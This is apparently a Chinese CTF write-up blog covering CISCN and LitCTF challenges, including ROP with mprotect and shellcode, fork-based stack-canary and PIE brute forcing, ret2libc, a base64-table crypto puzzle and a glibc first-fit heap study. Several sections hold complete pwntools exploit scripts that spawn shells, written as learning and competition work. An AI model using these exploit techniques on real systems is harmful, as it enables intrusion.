## pwn
![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020106914.jpg)



### shaokao

检查：

![image-20230527170343950](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271703069.png)

发现是64位静态链接文件

ida查看：

##### main

![image-20230527170503429](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271705465.png)

##### menu

![image-20230527170530084](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271705116.png)

可以看到这里有一个if判断才可执行的`“改名”`

![image-20230527170634568](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271706600.png)

很明显这里有一个栈溢出：

```python
io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶？\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
```

拿到改名选项。

但是这题没有给我们system和binsh所以只能换种思路：因为是静态链接，所以一定有mprotect函数，可以直接更改段权限，这里我们可以直接更改bss段的权限，然后直接把shallcode写入bss段执行，又因为是64位，所以需要寄存器传参：

> mprotect：
>
> #include <sys/mman.h>
> int mprotect(void *addr, size_t len, int prot);
> addr：修改保护属性区域的起始地址，addr必须是一个内存页的起始地址，简而言之为页大小（一般是 4KB == 4096字节）整数倍。
> len：被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
> prot：可以取以下几个值，并可以用“|”将几个属性结合起来使用：
> 1）PROT_READ：内存段可读；
> 2）PROT_WRITE：内存段可写；
> 3）PROT_EXEC：内存段可执行；
> 4）PROT_NONE：内存段不可访问。
> 返回值：0；成功，-1；失败（并且errno被设置）
> 1）EACCES：无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时，接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
> 2）EINVAL：addr不是有效指针，或者不是系统页大小的倍数。
> 3）ENOMEM：内核内部的结构体无法分配。
> 这里的参数prot：
> 			r:4
> 			w:2
> 			x:1
> prot为7（1+2+4）就是rwx可读可写可执行，与linux文件属性用法类似
>
> 参考：[Linux中mprotect()函数详解__bob_h的博客-CSDN博客](https://blog.csdn.net/qq_15762939/article/details/104062307)

所以这里就可以更改权限：

```python
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+p64(read)+p64(buf_addr)#这里实际找到的pop_rdx只有两个
```

![image-20230527172614882](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305271726911.png)

所以还要多传一个参数

通过rdi,rsi,rdx三个寄存器给mprotect传参更改权限,然后ret到read函数的地址写入shellcode，再跳转到shellcode处执行

```
注：这里bss段的地址只能选用4kb整数倍的地址。
```

### exp

```python
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
context(terminal = ['tmux','split','-h'])
# io =remote('123.56.238.150',24460)
io = process('./shaokao')
mp_addr = 0x0458B00
pop_rdi = 0x040264f
pop_rsi = 0x040a67e
pop_rdx = 0x04a404b
read = 0x0457DD0
buf_addr = 0x4E9000
bss_addr = 0x4E9000

io.recvuntil("0. 离开".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("3. 勇闯天涯\n".encode('utf-8'))
io.sendline(b'1')
io.recvuntil("来几瓶？\n".encode('utf-8'))
io.sendline(b'-99999')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'4')
io.recvuntil("0. 离开\n".encode('utf-8'))
io.sendline(b'5')
# gdb.attach(io)
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\
    p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+\
    p64(read)+p64(buf_addr)
io.recvuntil("请赐名：\n".encode('utf-8'))
shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)

io.interactive()
```

### misc

使用wireshark打开：

直接追踪tcp流：

![image-20230528174521395](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305281921328.png)

中间红色部分拼接:

MMYWMX3GNEYWOXZRGAYDA===

直接base32解码：

flag：

c1f_fi1g_1000

## Crypto

### sign in passwd

用给的第二行数据进行base64换表，再解码：

```python
from base64 import*
T1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
T2 = 'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF'
T2 = 'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
enc = 'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
str = ''
for i in range(len(enc)):
   str += T1[T2.index(enc[i])]
# str = base64.b64decode(str)
print(str)
   
```

得出：

ZmxhZ3s4ZTRiMjg4OC02MTQ4LTQwMDMtYjcyNS0zZmYwZDkzYTZlZTR9

解码：

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

### 国密sm2

做题时的记录：

```
"id": "45c620d1-0c23-4e75-aa49-484f769dc6e8"

A_prvite=2ABD46BACD79A7DE3E494056F80C3A802776CF454FB60EB4021D3162FA4BC3BC

A_public=E7EA0C52F83B28EC7449FDE2346650BA108BEF938E6622A279726B27FCB48D8650A324962C3B7E1857968FB2C734323FC65B675755BFC583EE343431D3E6B906

B_private=597a62be8f1f746b104b060351e7841e3a84d1a07b78f76908c420d8d467ce47

B_pub=0438e483c718bae10e03d4ed4476bd28131383860034b47364a48d27436e23acd2328de25edd07519be64874d88734f4cc2eb9fff2756065f5745f229d206cbdf3

random=9a770cae67c0277737b704dfcf02663dd278f8eb1fb46ddedbf1762ec0c75057a66614843af1624b68502c3487de72fb0fc661e1e713c333021afd36fe78d2d276fb8be13315b68870b9a825b86654e699cb2c92ee07d6f460e93e8dd6c75081009dbe7d1d1b2a9af28aae6fad3e6aa5

 "quantumString": "fd11b5ac03f85cd368d9234f847f2936a08ca3531468d4c67d3e3a002966725ccb0b793d12e4b0ad55689b72ac916998b4cba165c68ba09252b9f6724a28f7767921e9ddd63768530fd99e6738925cee8762d61ac2f9e29397dbbefd53110d26605bda47ab788e5548bc8ea3a77395fc"

随机数铭文：29 24 55 C9 3D 98 EA 1A 4B 25 8E A8 8D 97 77 30 

B_pri明文=


E8 B4 BA 6E F1 3A CE 6C  DC D2 79 FF DA D6 54 49
25 74 18 94 2B 0C EF 92  F1 9A 81 AF 02 66 62 6E

E34E5F83817D03A55E257D0214CD04E774E372FC451F1157773C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE

EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA 
```

根据给的文件做就可以.

ciscn_pwn_shaokao

### ciscn_pwn_funcanary
![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020108344.jpg)




做了一整天的牢，爆破canary时一直报错说byte型不能和str型相连接，好不容易爆破出canary了，结果才发现还有一个pie enable。难绷。

不过总算是把他复现出来了：

直接看保护：这保护不得不说很豪华，我认识的保护直接拉满全开。（看到这第一反应：下班，这比赛打不了一点）

![image-20230530091813876](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033262.png)

直接ida看静态：

```c
void __fastcall __noreturn MEMORY[0x12D2](__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}
```

很明显这是子线程覆盖canary，首先`fork`一个子线程，然后在子线程内进行操作，这里我们需要知道的是，fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止，这就跟便于我们对canary的爆破：

漏洞函数：

```c
unsigned __int64 sub_128A()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}
```

在sub_128A中有一个read函数作为溢出点：

通过循环来逐字节爆破：stack reading

```python
coding='utf-8'
from pwn import *
from binascii import*
context.log_level = 'debug'
# context.terminal = ['tmux','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./funcanary')
p.recvuntil('welcome\n')
canary = b'\x00'


for i in range(7):
    for j in range(256):
        payload =b'a'*(0x68)+canary + p8(j)#这里一开始是下面这种写法
        p.send(payload)
        a = p.recvuntil(b'welcome\n')
        if b'have fun' in a:    #如果没有显示stack-smashing则表示canary没有错误，所以会正常输出have fun，就可以判断是否成功。
            canary += p8(j)
            break
##-------------报错写法——————------
canary = "\x00"
for i in range(7):
    for j in range(256):
        payload ="\x00"*(0x68)+canary + chr(i)
        p.send(payload)
        a = p.recvuntil(b'welcome\n')
        if b'have fun' in a:
            canary += chr(i)
            break#很难崩
```

成功爆破：

![image-20230530201536295](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033773.png)

然后就是绕过pie了：

```python
for i in range(16):
    payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适，这里p8的范围是2-242也就是0x0000-0xf200，如果地址是0xf700啥的会不会有问题？或许类似下面这种跟合适？
    #list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
    p.send(payload)
    a = p.recv()
    if b'flag' in a:
        print(a)
        break


p.interactive()
```

这里就不得不提到绕过pie的一个技术over write 的bypass：

因为pie保护是对内存页操作的所以只会影响除前三字节以外的地址，这时候我们就可以通过覆盖返回地址的后三字节来控制程序流，这里因为往往返回地址和getshell的地址的偏移也只在一内存页单位内，所以其他字节也基本不变，

所以这里也可以直接覆盖四字节，不用再爆破

![image-20230530202101770](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033202.png)

当然很多时候其实没有这么顺利，第四字节往往不一样，这时候就又需要爆破了

这里因为环境已经关闭所以没法拿到远程主机/bin/目录下的flag：

![image-20230530203051811](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305302033385.png)

ciscn_pwn_funcanary

### first_fit

![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020108473.jpg)



```c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
        fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
        fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
        fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
        fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

        fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
        char* a = malloc(0x512);
        char* b = malloc(0x256);
        char* c;

        fprintf(stderr, "1st malloc(0x512): %p\n", a);
        fprintf(stderr, "2nd malloc(0x256): %p\n", b);
        fprintf(stderr, "we could continue mallocing here...\n");
        fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
        strcpy(a, "this is A!");
        fprintf(stderr, "first allocation %p points to %s\n", a, a);

        fprintf(stderr, "Freeing the first one...\n");
        free(a);

        fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

        fprintf(stderr, "So, let's allocate 0x500 bytes\n");
        c = malloc(0x500);
        fprintf(stderr, "3rd malloc(0x500): %p\n", c);
        fprintf(stderr, "And put a different string here, \"this is C!\"\n");
        strcpy(c, "this is C!");
        fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
        fprintf(stderr, "first allocation %p points to %s\n", a, a);
        fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}                                                                                                                                                                                                 
```

![image-20230518190942698](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305181909814.png)

第一次malloc分配的地址是1st malloc(0x512): 0x5613955532a0
第二次malloc分配的地址是2nd malloc(0x256): 0x5613955537c0

之后将变量a中的内容换成string类型的`“this is a A!”`,会发现地址不变。

之后将第一个malloc的地址free之后，再次malloc一个小于第一次malloc大小的数据，会发现allocator重新分配的chunk还是之那一个。

> 疑问：这里重新分配的chunk是否大小还是之前的大小，还是0x500？答：应该是0x500.

![image-20230518192130583](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305181921627.png)

GDB调试时可以看到当malloc分配空间时是将空间中先填充入‘’0‘’.

#### 疑

**并且这里可以看到两个连续的chunk之间会有一个0x8的空间：0x2a0-0x7c0 = 0x520 = 0x512+0x8**: 这八字节中存放的是啥先存疑：

```

```

![image-20230518193535779](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305181935836.png)

free（a）之后可以看到：

**0x7fffffffdde8 —▸ 0x5555555592a0 —▸ 0x7ffff7fa6ce0 (main_arena+96) —▸ 0x555555559a10 ◂— 0x0**

至于这里：0x555555559a10 ◂— 0x0也为看懂，存疑：

```text
这里的地址是chunk中data空间的地址，当malloc分配一块空间时，会将空间中的数据初始化为0.
```



> bin链(136个)：
>
> * fast bin(10个)：单链表结构，故所有分配操作（？存疑）都只对链表尾操作。fasi bin不会对相邻的free chunk进行合并（为了提高效率），单个fast bin中的chunk都是一样大小的，并且从第一个fast bin中chunk的大小到最后一个fast bin中的chunk大小为累加16字节（**暂时不清楚分不分x86和x64**），如第一个fast bin中chunk大小均为32Bytes，第二个fast bin中的chunk大小则为48字节，以此类推；**第一次mallo时，fast bin未初始化，当分配0x16~0x80字节大小空间时就会向下寻找small bin中的chunk
>
>   引用：[**堆漏洞挖掘中的bins分类(fastbin、unsorted bin、small bin、large bin)**](https://blog.51cto.com/u_15346415/3675227)
>
>   * 当应用层通过malloc函数第一次申请的chunk属于16字节~80字节之间时，因为初始化的时候fast bin支持的最大内存大小以及所有fast bin链表都是空的，所以它也不会交由fast bin来处理，而是向下传递交由small bin来处理，如果small bin也为空的话就交给unsorted bin处理。
>   * 那么，fast bin如何进行初始化哪？
>     当我们第一次调用malloc(fast bin)的时候，系统执行_int_malloc函数，该函数首先会发现当前fast bin为空，就转交给small bin处理，进而又发现small bin 也为空，就调用malloc_consolidate函数对malloc_state结构体进行初始化。malloc_consolidate函数主要完成以下几个功能：
>     * a.首先判断当前malloc_state结构体中的fast bin是否为空，如果为空就说明整个malloc_state都没有完成初始化，需要对malloc_state进行初始化。
>     * b.malloc_state的初始化操作由函数malloc_init_state(av)完成，该函数先初始化除fast bin之外的所有的bins，再初始化fast bins。
>
>   那么当再次执行malloc(fast chunk)函数的时候，此时fast bin相关数据不为空了，就可以使用fast bin。
>
> * unsort bin（1个）：当**释放**过大或者过小的chunk时就会将chunk放到unsort bins中。
>
> * small bin ：大小小于0x400的small chunk。
>
> * large bin

malloc的初始化，第一次调用malloc时会先从fast bin或者unsort bin中找合适的内存空间，但是一般都会找不到，找不到之后就会调用malloc_initialized函数进行初始化

___

这里可以看一下chunk的地址处：（这里malloc实际分配的空间大小大于我们需要的大小，这里可能仅仅只是为了*合适*，（也不排除有其他的可能），但是我这里看了别的人分配的，多出来的大小和我的多出来的不一样，说明这多出来的大小不是固定的或者说不是有目的性的，所以可能只是为了*合适*）

![image-20230521204735396](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305212047422.png)

可以看到第一个malloc的地址和第二个malloc的地址分别是**0x00005555555592a0**和**0x00005555555597c0**，而我们这里选择查看这两个地址-0x10的地方是因为malloc**返回时地址**指向的都是chunk的usr的data部分的地址：

![image-20230522184000904](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305221840960.png)

free之后再看第二个chunk：![image-20230521204846709](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305212048736.png)

这里就可以看到第一个0x8字节是pre_size，里面放的是：0x520刚好是前一个被free的chunk的大小。

第三个malloc之后再看分配的chunk大小为：![image-20230521205146378](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305212051408.png)

很明显还是和第一个chunk一样大的0x521字节。

---

这里用

```python
gcc -fsanitize=address -g first_fit.c
```

重新编译再次执行便有更加详细的调试信息：

```python
❯ ./a.out
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x61a000000080
2nd malloc(0x256): 0x616000000080
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x61a000000080 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x61a000000080
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x61a000000680
And put a different string here, "this is C!"
3rd allocation 0x61a000000680 points to this is C!
=================================================================
==17255==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a000000080 at pc 0x7f9fa39c0f89 bp 0x7ffc0207d3f0 sp 0x7ffc0207cb68
READ of size 2 at 0x61a000000080 thread T0
    #0 0x7f9fa39c0f88 in printf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553
    #1 0x7f9fa39c18be in __interceptor_vfprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1664
    #2 0x7f9fa39c19ce in __interceptor_fprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1721
    #3 0x55ebce3cc793 in main /home/hyrink/how2heap/first_fit.c:35
    #4 0x7f9fa3764d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x7f9fa3764e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #6 0x55ebce3cc1a4 in _start (/home/hyrink/how2heap/a.out+0x11a4)

0x61a000000080 is located 0 bytes inside of 1298-byte region [0x61a000000080,0x61a000000592)
freed by thread T0 here:
    #0 0x7f9fa3a17517 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x55ebce3cc5c2 in main /home/hyrink/how2heap/first_fit.c:25
    #2 0x7f9fa3764d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x7f9fa3a17867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55ebce3cc3e1 in main /home/hyrink/how2heap/first_fit.c:13
    #2 0x7f9fa3764d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553 in printf_common
Shadow bytes around the buggy address:
  0x0c347fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c347fff8010:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c347fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==17255==ABORTING
```

first_fit

### LITctf：简单nc




nc下：

![image-20230515211242691](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152112814.png)

发现有两个文件：

Dockerfile和app.py

cat Dockerfile：

![image-20230515211434815](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152114873.png)

每一条指令的意思是：

```text
COPY . /app：将当前目录中的所有文件拷贝到 Docker 镜像中的 /app 目录下。

ENV FLAG=NSSCTF{123456}：设置一个名为 FLAG 的环境变量，并将其值设置为 NSSCTF{123456}。

RUN echo $FLAG > /flag.txt：在 Docker 镜像中运行一条命令，将环境变量 $FLAG 的值输出到 /flag.txt 文件中。

WORKDIR /app：将 Docker 镜像的工作目录设置为 /app。

EXPOSE 5000：告诉 Docker 容器监听在哪个端口。

CMD ["python", "app.py"]：指定容器启动时要执行的命令。在本示例中，容器启动后会执行 python app.py 命令，启动 Python 应用程序 app.py
```

所以只需要执行echo $FLAG:

![image-20230515211538489](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152115536.png)

LITctf：简单nc

### [LitCTF 2023]狠狠的溢出涅~

惯例先检查：

![image-20230515211814841](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152127530.png)

64位ida查看：

![image-20230515212200898](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152128693.png)

直接通过ret2libc：

```python
from pwn import*

io = remote('node4.anna.nssctf.cn',28615)

libc = ELF('./libc-2.31.so')
elf = ELF('./pwn4')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
ret = 0x0400556
pop_rdi = 0x4007d3
payload = b'\x00'+b'a'*(0x67)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendafter(b':\n',payload)
io.recvuntil(b'Received\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']

payload = b'\x00'+b'a'*(0x67)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)

io.sendline(payload)

io.interactive()
```

